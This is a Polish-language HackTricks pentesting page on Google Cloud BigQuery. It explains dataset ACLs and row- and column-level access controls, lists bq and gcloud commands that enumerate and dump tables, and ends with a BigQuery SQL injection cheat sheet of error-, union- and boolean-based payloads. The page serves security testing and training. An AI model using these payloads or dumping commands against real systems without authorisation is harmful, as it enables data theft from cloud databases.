GCP - Bigquery Enum

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Google Cloud BigQuery to w pełni zarządzany, serwerlessowy hurtownia danych dla przedsiębiorstw, oferujący możliwości analizy petabajtów danych, efektywnie obsługujący zbiory danych o dużych rozmiarach. Jako Platforma jako Usługa (PaaS) zapewnia użytkownikom infrastrukturę i narzędzia ułatwiające zarządzanie danymi bez konieczności ręcznego nadzoru.

Obsługuje zapytania za pomocą ANSI SQL. Główne obiekty to zbiory danych zawierające tabyele zawierające dane SQL.

Szyfrowanie

Domyślnie używany jest szyfrujący klucz zarządzany przez Google, chociaż możliwe jest skonfigurowanie szyfrującego klucza zarządzanego przez klienta (CMEK). Możliwe jest wskazanie klucza szyfrowania na poziomie zbioru danych i tabeli w zbiorze danych.

Wygaśnięcie

Możliwe jest wskazanie czasu wygaśnięcia w zbiorze danych, dzięki czemu każda nowa tabela utworzona w tym zbiorze danych zostanie automatycznie usunięta określoną liczbę dni po utworzeniu.

Zewnętrzne źródła

Bigquery jest głęboko zintegrowany z innymi usługami Google. Możliwe jest wczytywanie danych z kubełków, pub/sub, dysku Google, baz danych RDS...

ACL zbioru danych

Po utworzeniu zbioru danych dołączone są ACL, aby umożliwić dostęp do niego. Domyślnie nadane są uprawnienia Właściciela użytkownikowi, który utworzył zbiór danych, a następnie Właściciela grupie projectOwners (Właściciele projektu), Writer grupie projectWriters i Reader grupie projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Kontrola dostępu do wierszy tabeli

Możliwe jest kontrolowanie wierszy, do których podmiot będzie miał dostęp wewnątrz tabeli za pomocą polityk dostępu do wierszy. Są one zdefiniowane wewnątrz tabeli za pomocą DDL. Polityka dostępu definiuje filtr i tylko pasujące wiersze z tym filtrem będą dostępne dla wskazanych podmiotów.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Kontrola dostępu do kolumn

Aby ograniczyć dostęp do danych na poziomie kolumn:

  1. Zdefiniuj taksonomię i tagi zasad. Utwórz i zarządzaj taksonomią oraz tagami zasad dla swoich danych. https://console.cloud.google.com/bigquery/policy-tags

  2. Opcjonalnie: Przydziel rolę Czytelnika danych katalogu Fine-Grained jednemu lub kilku podmiotom dla jednego lub kilku tagów zasad, które utworzyłeś.

  3. Przypisz tagi zasad do kolumn BigQuery. W BigQuery użyj adnotacji schematu, aby przypisać tag zasad do każdej kolumny, do której chcesz ograniczyć dostęp.

  4. Wymuś kontrolę dostępu na taksonomię. Wymuszenie kontroli dostępu powoduje zastosowanie ograniczeń dostępu zdefiniowanych dla wszystkich tagów zasad w taksonomii.

  5. Zarządzaj dostępem do tagów zasad. Użyj Zarządzania tożsamościami i dostępem (IAM), aby ograniczyć dostęp do każdego tagu zasad. Polityka jest obowiązująca dla każdej kolumny należącej do tagu zasad.

Gdy użytkownik próbuje uzyskać dostęp do danych kolumn podczas zapytania, BigQuery sprawdza tag zasad kolumny i jego zasadę, aby sprawdzić, czy użytkownik ma autoryzację do dostępu do danych.

Podsumowując, aby ograniczyć dostęp do niektórych kolumn dla niektórych użytkowników, możesz dodać tag do kolumny w schemacie i ograniczyć dostęp użytkowników do tagu, wymuszając kontrolę dostępu na taksonomię tagu.

Aby wymusić kontrolę dostępu na taksonomię, konieczne jest włączenie usługi:

gcloud services enable bigquerydatapolicy.googleapis.com

Możliwe jest zobaczenie tagów kolumn za pomocą:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Wyliczenie

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

Wstrzyknięcie SQL w BigQuery

Aby uzyskać dalsze informacje, możesz sprawdzić post na blogu: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Tutaj zostaną podane tylko niektóre szczegóły.

Komentarze:

  • select 1#od tego miejsca nie działa

  • select 1/*między tymi nie działa*/ Ale tylko początkowy nie zadziała

  • select 1--od tego miejsca nie działa

Uzyskaj informacje o środowisku, takie jak:

  • Bieżący użytkownik: select session_user()

  • Identyfikator projektu: select @@project_id

Uzyskaj nazwy zbiorów danych, tabel i kolumn:

  • Nazwa projektu i zbioru danych:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Nazwy kolumn i tabel:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM digital-bonfire-410512.importeddataset.INFORMATION_SCHEMA.COLUMNS
  • Inne zbiory danych w tym samym projekcie:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

Typy atak SQL Injection:

  • Oparte na błędach - rzutowanie: select CAST(@@project_id AS INT64)

  • Oparte na błędach - dzielenie przez zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Oparte na łączeniu tabel: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Oparte na wartości logicznej: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potencjalnie oparte na czasie - Przykład użycia publicznych zbiorów danych: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Dokumentacja:

Eskalacja uprawnień i eksploatacja po ataku

pageGCP - BigQuery Privesc

Trwałość

pageGCP - BigQuery Persistence

Odnośniki

Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated